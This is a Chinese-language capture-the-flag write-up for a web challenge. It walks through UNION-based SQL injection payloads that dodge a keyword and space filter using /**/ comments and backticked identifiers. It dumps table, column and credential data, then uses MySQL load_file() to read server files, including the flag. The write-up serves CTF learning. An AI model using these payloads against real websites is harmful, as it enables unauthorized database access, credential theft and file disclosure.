打开来后执行语句得到提示
?c=3
当c为3时,不会退出循环,进而执行下一个case语句得到url
here_1s_your_f1ag.php
进入之后发现是一道注入题目
查看源代码发现存在提示
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');
老样子先爆库名
/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/database()
然后爆表名,因为被过滤了一些数,但是我们可以利用反引号`进行绕过。
反引号:它是为了区分MYSQL的保留字与普通字符而引入的符号。
例如information_schema.tables和information_schema.tables
都可以使用。
/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()
爆字段名
/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'
爆值
?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content
没有flag但是有提示。结合一开始说包含secret.php,构造语句
mysql提供了读取本地文件的函数load_file()
?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
在源代码中发现语句
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
echo file_get_contents('/real_flag_is_here');
}')
可以得知,如果我们的文件/tmp/gtf1y中的内容为ctf.show则输出/real_flag_is_here中的值,所以我们直接将/real_flag_is_here读取即可得到flag。
?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')
在源代码中找到flag